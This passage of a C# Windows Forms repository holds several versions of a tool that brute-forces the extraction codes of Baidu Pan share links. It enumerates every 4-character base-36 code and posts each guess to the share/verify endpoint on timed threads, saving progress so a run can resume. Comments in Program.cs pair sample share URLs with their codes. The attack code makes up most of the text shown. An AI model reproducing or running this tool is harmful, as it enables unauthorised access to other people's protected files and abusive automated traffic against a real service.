22 | //https://pan.baidu.com/s/1bEeTsU
23 | //ebdf
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0/TestPassword/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 有关程序集的一般信息由以下
6 | // 控制。更改这些特性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("百度网盘分享文件密码测试器")]
9 | [assembly: AssemblyDescription("百度网盘分享文件密码进行无穷测试工具")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("zgcwkj")]
12 | [assembly: AssemblyProduct("百度网盘分享文件密码测试器")]
13 | [assembly: AssemblyCopyright("Copyright © 2017")]
14 | [assembly: AssemblyTrademark("zgcwkj")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | //将 ComVisible 设置为 false 将使此程序集中的类型
18 | //对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型,
19 | //请将此类型的 ComVisible 特性设置为 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
23 | [assembly: Guid("ac42684f-60e0-464c-881d-b679da8d8a7b")]
24 |
25 | // 程序集的版本信息由下列四个值组成:
26 | //
27 | // 主版本
28 | // 次版本
29 | // 生成号
30 | // 修订号
31 | //
32 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值,
33 | // 方法是按如下所示使用“*”: :
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0/TestPassword/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本:4.0.30319.42000
5 | //
6 | // 对此文件的更改可能会导致不正确的行为,并且如果
7 | // 重新生成代码,这些更改将会丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace zgcwkj.Properties {
12 | using System;
13 |
14 |
15 | ///
16 | /// 一个强类型的资源类,用于查找本地化的字符串等。
17 | ///
18 | // 此类是由 StronglyTypedResourceBuilder
19 | // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
20 | // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
21 | // (以 /str 作为命令选项),或重新生成 VS 项目。
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// 返回此类使用的缓存的 ResourceManager 实例。
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("zgcwkj.Properties.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// 使用此强类型资源类,为所有资源查找
51 | /// 重写当前线程的 CurrentUICulture 属性。
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0/TestPassword/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本:4.0.30319.42000
5 | //
6 | // 对此文件的更改可能会导致不正确的行为,并且如果
7 | // 重新生成代码,这些更改将会丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace zgcwkj.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0/TestPassword/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0/TestPassword/StaticClass.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace zgcwkj
7 | {
8 | ///
9 | /// 静态类
10 | ///
11 | public static class StaticClass
12 | {
13 | ///
14 | /// 线程状态
15 | ///
16 | public static bool status { get; set; }
17 | ///
18 | /// 目标连接
19 | ///
20 | public static string url { get; set; }
21 | ///
22 | /// 日记的文件名称
23 | ///
24 | public static string Folder { get; set; }
25 |
26 | }
27 | }
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0/TestPassword/TestPassword.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}
8 | WinExe
9 | Properties
10 | zgcwkj
11 | 百度网盘分享文件密码测试器
12 | v4.0
13 | 512
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 | ico.ico
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 | Form
55 |
56 |
57 | Main.cs
58 |
59 |
60 |
61 |
62 |
63 | Main.cs
64 |
65 |
66 | ResXFileCodeGenerator
67 | Resources.Designer.cs
68 | Designer
69 |
70 |
71 | True
72 | Resources.resx
73 | True
74 |
75 |
76 | SettingsSingleFileGenerator
77 | Settings.Designer.cs
78 |
79 |
80 | True
81 | Settings.settings
82 | True
83 |
84 |
85 |
86 |
87 |
88 |
89 |
96 |
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0/TestPassword/ico.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0/TestPassword/ico.ico
--------------------------------------------------------------------------------
/TestPassword V1.0.0.0/TestPassword/ico.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.0.0.0/TestPassword/ico.png
--------------------------------------------------------------------------------
/TestPassword V1.8.0.4/TestPassword.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.23107.0
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestPassword", "TestPassword\TestPassword.csproj", "{AC42684F-60E0-464C-881D-B679DA8D8A7B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | EndGlobal
23 |
--------------------------------------------------------------------------------
/TestPassword V1.8.0.4/TestPassword/Hash.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Text;
4 | using System.Collections.Generic;
5 |
6 | namespace zgcwkj
7 | {
8 | public static class Hash
9 | {
10 | //哈希类 36进制
11 | //有效哈希[10000000,11679615]
12 | #region 只支持4位 By MXWXZ
13 | public static string HashTo4Str(int hash)
14 | {
15 | string ret = "";
16 | hash -= 10000000;
17 | while (hash > 0)
18 | {
19 | ret += Hash2Char(hash % 36);
20 | hash /= 36;
21 | }
22 | if (ret.Length == 3) ret += "0";//前导零
23 | if (ret.Length == 2) ret += "00";
24 | if (ret.Length == 1) ret += "000";
25 | if (ret.Length == 0) ret += "0000";
26 | return reverse(ret);
27 | }
28 | public static int StrTo4Hash(string str)
29 | {
30 | int ret = 0;
31 | ret += Char2Hash(str[0]) * 46656;
32 | ret += Char2Hash(str[1]) * 1296;
33 | ret += Char2Hash(str[2]) * 36;
34 | ret += Char2Hash(str[3]);
35 | ret += 10000000;//防止前导零
36 | return ret;
37 | }
38 | #endregion
39 | #region 只支持6位 By zgcwkj
40 | public static string HashTo6Str(int hash)
41 | {
42 | string ret = "";
43 | hash -= 100000;
44 | while (hash > 0)
45 | {
46 | ret += Hash2Char(hash % 36);
47 | hash /= 36;
48 | }
49 | if (ret.Length == 5) ret += "0";//前导零
50 | if (ret.Length == 4) ret += "00";
51 | if (ret.Length == 3) ret += "000";
52 | if (ret.Length == 2) ret += "0000";
53 | if (ret.Length == 1) ret += "00000";
54 | if (ret.Length == 0) ret += "000000";
55 | return reverse(ret);
56 | }
57 | public static int StrTo6Hash(string str)
58 | {
59 | int ret = 0;
60 | ret += Char2Hash(str[0]) * 60466176;
61 | ret += Char2Hash(str[1]) * 1679616;
62 | ret += Char2Hash(str[2]) * 46656;
63 | ret += Char2Hash(str[3]) * 1296;
64 | ret += Char2Hash(str[4]) * 36;
65 | ret += Char2Hash(str[5]);
66 | ret += 100000;//防止前导零
67 | return ret;
68 | }
69 | #endregion
70 | private static int Char2Hash(char c)
71 | {
72 | if (c >= '0' && c <= '9') return c - '0';
73 | else return c - 'a' + 10;
74 | }
75 | private static char Hash2Char(int hash)
76 | {
77 | if (hash >= 0 && hash <= 9) return (char)('0' + hash);
78 | else return (char)('a' + hash - 10);
79 | }
80 | private static string reverse(string str)
81 | {
82 | char[] arr = str.ToCharArray();
83 | Array.Reverse(arr);
84 | return new string(arr);
85 | }
86 | }
87 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.0.4/TestPassword/HttpTest.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Linq;
4 | using System.Net;
5 | using System.Text;
6 |
7 | namespace zgcwkj
8 | {
9 | ///
10 | /// Http测试类(百度网盘分享连接密码测试)
11 | ///
12 | public class HttpTest
13 | {
14 | string info = "";//唯一识别文件的值
15 | ///
16 | /// 实例测试类
17 | ///
18 | /// 访问的链接
19 | public HttpTest(string url)
20 | {
21 | info = "surl=" + url.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", "");
22 | }
23 | ///
24 | /// 访问网页
25 | ///
26 | ///
27 | public string Get()
28 | {
29 | return HttpGet("https://pan.baidu.com/share/init?" + info);
30 | }
31 | ///
32 | /// 提交密码
33 | ///
34 | /// 密码
35 | ///
36 | public string Post(string pwd)
37 | {
38 | DateTime time = DateTime.Now;
39 | DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0));
40 | string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();
41 |
42 | string url = "https://pan.baidu.com/share/verify?" + info + "&t=" + ts.ToString() + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==";
43 | string data = "pwd=" + pwd + "&vcode=&vcode_str=";
44 |
45 | return HttpPost(url, data);
46 | }
47 | #region 网络请求
48 | CookieContainer cookie = new CookieContainer();
49 | #region Get请求
50 | ///
51 | /// 请求路径
52 | ///
53 | /// 请求的路径
54 | /// 返回请求的网页数据
55 | private string HttpGet(string Url)
56 | {
57 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
58 | request.Method = "GET";
59 | request.ContentType = "text/html;charset=UTF-8";
60 | request.CookieContainer = cookie;
61 |
62 | try
63 | {
64 | HttpWebResponse response = (HttpWebResponse)request.GetResponse();
65 | StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
66 | string retString = myStreamReader.ReadToEnd();
67 | myStreamReader.Close();
68 | return retString;
69 | }
70 | catch (Exception e)
71 | {
72 | return e.Message;
73 | }
74 | }
75 | #endregion
76 | #region Post请求
77 | ///
78 | /// 提交数据
79 | ///
80 | /// 提交的路径
81 | /// 提交的数据
82 | /// 返回结果
83 | private string HttpPost(string Url, string Data)
84 | {
85 | try
86 | {
87 | HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
88 | request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
89 | request.Referer = "https://pan.baidu.com/share/init?" + info;
90 | request.ContentLength = Encoding.UTF8.GetByteCount(Data);
91 | request.CookieContainer = cookie;
92 | request.Method = "POST";
93 |
94 | Stream myRequestStream = request.GetRequestStream();
95 | byte[] postBytes = Encoding.UTF8.GetBytes(Data);
96 | myRequestStream.Write(postBytes, 0, postBytes.Length);
97 |
98 | HttpWebResponse response = (HttpWebResponse)request.GetResponse();
99 | response.Cookies = cookie.GetCookies(response.ResponseUri);
100 |
101 | StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
102 | string retString = myStreamReader.ReadToEnd();
103 | myStreamReader.Close();
104 |
105 | return retString;
106 | }
107 | catch (Exception ex)
108 | {
109 | return ex.Message;
110 | }
111 | }
112 | #endregion
113 | #endregion
114 | }
115 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.0.4/TestPassword/HttpThread.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.IO;
6 | using System.Timers;
7 |
8 | namespace zgcwkj
9 | {
10 | public class HttpThread
11 | {
12 | Main myMain;//主窗体
13 | int StartValue = 0;//基值
14 | int NumberValue = 0;//剩余次数
15 | Timer timer;//线程
16 | string ThreadID;//线程ID
17 |
18 | ///
19 | /// http请求线程类
20 | ///
21 | /// 主窗体
22 | /// 线程名称
23 | /// 开始值
24 | /// 结束值
25 | /// 线程速度
26 | public HttpThread(Main main, string name, int start, int number, int interval)
27 | {
28 | myMain = main;
29 | StartValue = start;
30 | NumberValue = number;
31 | ThreadID = StaticClass.file + "/" + name;
32 | timer = new Timer(interval);
33 | }
34 | ///
35 | /// 启动线程
36 | ///
37 | ///
38 | public HttpThread Start()
39 | {
40 | #region 载入历史参数
41 | try
42 | {
43 | if (File.Exists(ThreadID + ".ini"))
44 | {
45 | string _start = File.ReadAllText(ThreadID + ".ini");
46 | if (_start != "") StartValue = Convert.ToInt32(_start);
47 | }
48 | }
49 | catch { }
50 | #endregion
51 | timer.Elapsed += new ElapsedEventHandler(_Timer);
52 | timer.Start();
53 | return this;
54 | }
55 | private void _Timer(object sender, ElapsedEventArgs e)
56 | {
57 | Timer timer = sender as Timer;
58 | if (NumberValue < StartValue || StaticClass.status)
59 | {
60 | #region 保存历史参数
61 | try
62 | {
63 | File.Delete(ThreadID + ".ini");
64 | File.AppendAllText(ThreadID + ".ini", StartValue.ToString());
65 | }
66 | catch { }
67 | #endregion
68 | timer.Stop();
69 | }
70 | else
71 | {
72 | string password = Hash.HashTo4Str(StartValue);
73 | HttpTest httptest = new HttpTest(StaticClass.url);
74 | myMain.ModifyStr(httptest.Post(password), password);
75 | StartValue = StartValue + 1;
76 | }
77 | }
78 | }
79 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.0.4/TestPassword/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Windows.Forms;
5 |
6 | namespace zgcwkj
7 | {
8 | static class Program
9 | {
10 | ///
11 | /// 应用程序的主入口点。
12 | ///
13 | [STAThread]
14 | static void Main()
15 | {
16 | Application.EnableVisualStyles();
17 | Application.SetCompatibleTextRenderingDefault(false);
18 | Application.Run(new Main());
19 |
20 | //https://pan.baidu.com/share/init?surl=dFlOQid
21 | //lzte
22 | //https://pan.baidu.com/s/1bEeTsU
23 | //ebdf
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/TestPassword V1.8.0.4/TestPassword/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 有关程序集的一般信息由以下
6 | // 控制。更改这些特性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("百度网盘分享文件密码测试器")]
9 | [assembly: AssemblyDescription("百度网盘分享文件密码进行无穷测试工具")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("zgcwkj")]
12 | [assembly: AssemblyProduct("百度网盘分享文件密码测试器")]
13 | [assembly: AssemblyCopyright("Copyright © 2018")]
14 | [assembly: AssemblyTrademark("zgcwkj")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | //将 ComVisible 设置为 false 将使此程序集中的类型
18 | //对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型,
19 | //请将此类型的 ComVisible 特性设置为 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
23 | [assembly: Guid("ac42684f-60e0-464c-881d-b679da8d8a7b")]
24 |
25 | // 程序集的版本信息由下列四个值组成:
26 | //
27 | // 主版本
28 | // 次版本
29 | // 生成号
30 | // 修订号
31 | //
32 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值,
33 | // 方法是按如下所示使用“*”: :
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.8.0.4")]
36 | [assembly: AssemblyFileVersion("1.8.0.4")]
37 |
--------------------------------------------------------------------------------
/TestPassword V1.8.0.4/TestPassword/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本:4.0.30319.42000
5 | //
6 | // 对此文件的更改可能会导致不正确的行为,并且如果
7 | // 重新生成代码,这些更改将会丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace zgcwkj.Properties {
12 | using System;
13 |
14 |
15 | ///
16 | /// 一个强类型的资源类,用于查找本地化的字符串等。
17 | ///
18 | // 此类是由 StronglyTypedResourceBuilder
19 | // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
20 | // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
21 | // (以 /str 作为命令选项),或重新生成 VS 项目。
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources {
26 |
27 | private static global::System.Resources.ResourceManager resourceMan;
28 |
29 | private static global::System.Globalization.CultureInfo resourceCulture;
30 |
31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
32 | internal Resources() {
33 | }
34 |
35 | ///
36 | /// 返回此类使用的缓存的 ResourceManager 实例。
37 | ///
38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
39 | internal static global::System.Resources.ResourceManager ResourceManager {
40 | get {
41 | if (object.ReferenceEquals(resourceMan, null)) {
42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("zgcwkj.Properties.Resources", typeof(Resources).Assembly);
43 | resourceMan = temp;
44 | }
45 | return resourceMan;
46 | }
47 | }
48 |
49 | ///
50 | /// 使用此强类型资源类,为所有资源查找
51 | /// 重写当前线程的 CurrentUICulture 属性。
52 | ///
53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
54 | internal static global::System.Globalization.CultureInfo Culture {
55 | get {
56 | return resourceCulture;
57 | }
58 | set {
59 | resourceCulture = value;
60 | }
61 | }
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/TestPassword V1.8.0.4/TestPassword/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // 此代码由工具生成。
4 | // 运行时版本:4.0.30319.42000
5 | //
6 | // 对此文件的更改可能会导致不正确的行为,并且如果
7 | // 重新生成代码,这些更改将会丢失。
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace zgcwkj.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/TestPassword V1.8.0.4/TestPassword/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/TestPassword V1.8.0.4/TestPassword/StaticClass.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace zgcwkj
7 | {
8 | ///
9 | /// 静态类
10 | ///
11 | public static class StaticClass
12 | {
13 | ///
14 | /// 线程状态
15 | ///
16 | public static bool status { get; set; }
17 | ///
18 | /// 目标连接
19 | ///
20 | public static string url { get; set; }
21 | ///
22 | /// 存放的路径
23 | ///
24 | public static string file { get; set; }
25 | }
26 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.0.4/TestPassword/TestPassword.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}
8 | WinExe
9 | Properties
10 | zgcwkj
11 | TestPassword
12 | v4.0
13 | 512
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 | ico.ico
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 | Form
55 |
56 |
57 | Main.cs
58 |
59 |
60 |
61 |
62 |
63 | Main.cs
64 |
65 |
66 | ResXFileCodeGenerator
67 | Resources.Designer.cs
68 | Designer
69 |
70 |
71 | True
72 | Resources.resx
73 | True
74 |
75 |
76 | SettingsSingleFileGenerator
77 | Settings.Designer.cs
78 |
79 |
80 | True
81 | Settings.settings
82 | True
83 |
84 |
85 |
86 |
87 |
88 |
89 |
96 |
--------------------------------------------------------------------------------
/TestPassword V1.8.0.4/TestPassword/ico.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.8.0.4/TestPassword/ico.ico
--------------------------------------------------------------------------------
/TestPassword V1.8.0.4/TestPassword/ico.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zgcwkjOpenProject/TestBaiduPassword/ff62e799b37b8b3f81c0e5cdaa1e4fd4bd51c8cf/TestPassword V1.8.0.4/TestPassword/ico.png
--------------------------------------------------------------------------------
/TestPassword V1.8.0.5/TestPassword.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.23107.0
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestPassword", "TestPassword\TestPassword.csproj", "{AC42684F-60E0-464C-881D-B679DA8D8A7B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | EndGlobal
23 |
--------------------------------------------------------------------------------
/TestPassword V1.8.0.5/TestPassword/Hash.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace zgcwkj
4 | {
5 | public static class Hash
6 | {
7 | //哈希类 36进制
8 | //有效哈希[10000000,11679615]
9 |
10 | #region 只支持4位 By MXWXZ
11 |
12 | public static string HashTo4Str(int hash)
13 | {
14 | string ret = "";
15 | hash -= 10000000;
16 | while (hash > 0)
17 | {
18 | ret += Hash2Char(hash % 36);
19 | hash /= 36;
20 | }
21 | if (ret.Length == 3) ret += "0";//前导零
22 | if (ret.Length == 2) ret += "00";
23 | if (ret.Length == 1) ret += "000";
24 | if (ret.Length == 0) ret += "0000";
25 | return reverse(ret);
26 | }
27 |
28 | public static int StrTo4Hash(string str)
29 | {
30 | int ret = 0;
31 | ret += Char2Hash(str[0]) * 46656;
32 | ret += Char2Hash(str[1]) * 1296;
33 | ret += Char2Hash(str[2]) * 36;
34 | ret += Char2Hash(str[3]);
35 | ret += 10000000;//防止前导零
36 | return ret;
37 | }
38 |
39 | #endregion 只支持4位 By MXWXZ
40 |
41 | #region 只支持6位 By zgcwkj
42 |
43 | public static string HashTo6Str(int hash)
44 | {
45 | string ret = "";
46 | hash -= 100000;
47 | while (hash > 0)
48 | {
49 | ret += Hash2Char(hash % 36);
50 | hash /= 36;
51 | }
52 | if (ret.Length == 5) ret += "0";//前导零
53 | if (ret.Length == 4) ret += "00";
54 | if (ret.Length == 3) ret += "000";
55 | if (ret.Length == 2) ret += "0000";
56 | if (ret.Length == 1) ret += "00000";
57 | if (ret.Length == 0) ret += "000000";
58 | return reverse(ret);
59 | }
60 |
61 | public static int StrTo6Hash(string str)
62 | {
63 | int ret = 0;
64 | ret += Char2Hash(str[0]) * 60466176;
65 | ret += Char2Hash(str[1]) * 1679616;
66 | ret += Char2Hash(str[2]) * 46656;
67 | ret += Char2Hash(str[3]) * 1296;
68 | ret += Char2Hash(str[4]) * 36;
69 | ret += Char2Hash(str[5]);
70 | ret += 100000;//防止前导零
71 | return ret;
72 | }
73 |
74 | #endregion 只支持6位 By zgcwkj
75 |
76 | private static int Char2Hash(char c)
77 | {
78 | if (c >= '0' && c <= '9') return c - '0';
79 | else return c - 'a' + 10;
80 | }
81 |
82 | private static char Hash2Char(int hash)
83 | {
84 | if (hash >= 0 && hash <= 9) return (char)('0' + hash);
85 | else return (char)('a' + hash - 10);
86 | }
87 |
88 | private static string reverse(string str)
89 | {
90 | char[] arr = str.ToCharArray();
91 | Array.Reverse(arr);
92 | return new string(arr);
93 | }
94 | }
95 | }
--------------------------------------------------------------------------------
/TestPassword V1.8.0.5/TestPassword/HttpTest.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Net;
4 | using System.Text;
5 |
6 | namespace zgcwkj
7 | {
8 | ///
9 | /// Http测试类(百度网盘分享连接密码测试)
10 | ///
11 | public class HttpTest
12 | {
13 | private string info = "";//唯一识别文件的值
14 |
15 | ///
16 | /// 实例测试类
17 | ///
